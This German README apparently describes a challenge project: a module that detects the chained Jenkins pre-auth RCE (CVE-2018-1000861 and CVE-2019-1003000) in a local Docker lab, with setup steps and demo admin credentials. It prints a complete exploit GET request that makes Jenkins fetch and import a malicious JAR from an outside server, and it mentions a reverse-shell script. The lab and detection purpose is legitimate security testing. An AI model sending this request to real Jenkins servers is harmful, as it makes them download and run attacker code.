CVE-2019-1003000_RCE-ERKENNUNG

Allgemeine Zusammenfassung

Durch die Verkettung der Schwachstellen CVE-2018-1000861 und CVE-2019-1003000 habe ich ein Modul erstellt, um eine Pre-Auth-RCE auf Jenkins CI zu testen. Zunächst hatte ich versucht, die Schwachstelle mit einem Benutzernamen, einem Passwort und einem Jobnamen zu erkennen; jedoch dachte ich, es wäre realistischer und interessanter, diese Herausforderung durch die Verkettung der beiden Schwachstellen anzugehen.

Voraussetzungen

Stellen Sie sicher, dass Visual Studio oder das .NET Core-Framework auf Ihrem Windows-, Linux- oder macOS-Rechner installiert ist.

Umgebungseinrichtung (Wie ich es gemacht habe)

1. Zunächst habe ich die angegebene Docker-Version (aus den Challenge-Anweisungen) von DockerHub heruntergeladen: docker pull jenkins/jenkins:2.121
2. Dann habe ich ein Bash-Skript geschrieben (in diesem Repository zu finden), um einen neuen Docker-Container zu starten, der den angreifbaren Jenkins-Server ausführt, und es per Bind-Mount an den lokalen Rechner angebunden.
   • Admin-Benutzer
     • Benutzername - Naruto
     • Passwort - Uzumaki
     • Name - Naruto
3. Ich bin dann zu plugins.index.io navigiert, um bestimmte Plugin-Versionen zu finden, die in Jenkins installiert werden sollen.
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • Nach der Installation der Plugins navigieren Sie zum Bereich 'Erweitert' in 'Plugins verwalten', leeren Sie das Feld 'Update-Site' und speichern Sie, damit es beim Neustart nicht automatisch aktualisiert wird.

Ausführung (Wie Sie installieren und ausführen sollten)

1. Navigieren Sie zum Payload-Verzeichnis und führen Sie mvDir.sh aus
   • Führen Sie es als ./mvDir.sh aus
     • Es sollte bereits als ausführbar markiert sein, falls nicht, führen Sie chmod +x mvDir.sh aus. Falls es immer noch nicht funktioniert, können Sie es als bash mvDir.sh ausführen.
     • Dieser Befehl verschiebt das Verzeichnis mit der schädlichen JAR-Datei an das Stammverzeichnis des Rechners, wo die GET-Anfrage bei der Suche nach der in der schädlichen Anfrage angegebenen JAR-Datei suchen wird.
2. Navigieren Sie zu jenkins_environment und führen Sie ./run_vuln_jenkins.sh aus
   • Befolgen Sie die obigen Anweisungen, falls der obige Befehl nicht funktioniert.
   • Dieses Bash-Skript startet den Docker-Container, der den angreifbaren Jenkins-Server hostet (auf http://localhost:8080)
   • Zusätzlich wird durch Ausführen von ./run_updated_jenkins.sh oder bash run_updated_jenkins.sh ein sicherer, aktueller Jenkins-Server auf http://localhost:8000 gestartet, und das Ausführen des Moduls dagegen zeigt, dass dieser sicher und nicht anfällig für die Verkettung von CVE-2018-1000861 und CVE-2019-1003000 ist.
3. Navigieren Sie zu exploit-detection-code/jenkins-server-rce/

Gedanken

Die anfängliche Planung, die ich erstellt hatte, war ein guter Rahmen für die Lösung des Problems; jedoch stellte ich während der Umsetzung fest, dass ich die Arbeit viel komplizierter machte als nötig. Ich hatte zunächst ein Bash-Skript erstellt, um eine Reverse-Shell auf meinem Host-Rechner zu starten, um RCE nachzuweisen. Das Ziel dieser Challenge war es jedoch zu beweisen, dass die Schwachstelle existiert. In diesem Fall sollte nachgewiesen werden, dass RCE auf Jenkins Version 2.121.2 mit den folgenden Plugins möglich ist: Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49.

Ich musste nicht tatsächlich eine Reverse-Shell erstellen und zeigen, dass ich beliebige Befehle ausführen kann. Dadurch wird die Erkennung sowohl auf Windows- als auch auf .nix-basierten Betriebssystemen einfacher. Nach dem Senden der GET-Anfrage stellte ich fest, dass die Seite mit einem Status als Erfolg oder einer Fehlermeldung antwortet. Um jedoch sicherzustellen, dass der Erfolgsstatus kein falsch positives Ergebnis war, richtete ich einen Webserver auf meinem Host mit python -m SimpleHTTPSever 80 ein. Nach dem Senden der benutzerdefinierten GET-Anfrage an die angegebene schädliche JAR-Datei (die im Ordner payload zu finden ist), konnte man sehen, dass die GET-Anfrage mit einem 200-Statuscode und dem korrekten Pfad zur JAR-Datei antwortet, die sich auf dem lokalen Rechner befindet, was die Existenz der Schwachstelle beweist. Unten ist ein Beispiel der GET-Anfrage und der entsprechenden Antwort. Die verschiedenen Dateipfade (tw/ und www/) enthalten jeweils die schädliche JAR-Datei; es sind nur verschiedene Pfade, die die Anfrage durchläuft, um sie zu finden.

GET-Anfrage

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Verwendete Quellen

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/